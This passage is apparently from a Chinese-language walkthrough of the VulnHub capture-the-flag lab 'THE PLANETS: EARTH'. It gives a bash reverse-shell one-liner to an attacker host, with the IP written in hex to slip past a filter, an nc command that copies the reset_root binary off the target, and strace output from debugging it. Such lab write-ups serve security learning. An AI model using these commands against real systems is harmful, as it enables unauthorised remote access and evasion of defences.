vulnhub靶场之THE PLANETS: EARTH( 三 ) _生活百科

文章插图
发现被禁止后就在网上查找了以下，发现通过将ip地址转换成16禁止可以进行绕过：bash -i >& /dev/tcp/0xc0.0xa8.0x0.0xc/6688 0>&1，kali端成功获取到shell权限

文章插图
因为shell上无法进行调试，因此把reset_root文件下载到本地进行调试，使用nc进行文件的传递，服务端：nc -nlvp 8899 >reset_root，shell端：nc 192.168.0.12 8899 < /usr/bin/reset_root，不分先后顺序

文章插图
然后使用strace进行调试：strace ./reset_root，显示缺少三个文件

access("/dev/shm/kHgTFI5G", F_OK)= -1 ENOENT (No such file or directory)access("/dev/shm/Zw7bV9U5", F_OK)= -1 ENOENT (No such file or directory)access("/tmp/kcM0Wewe", F_OK)= -1 ENOENT (No such file or directory)write(1, "RESET FAILED, ALL TRIGGERS ARE N"..., 44RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.) = 44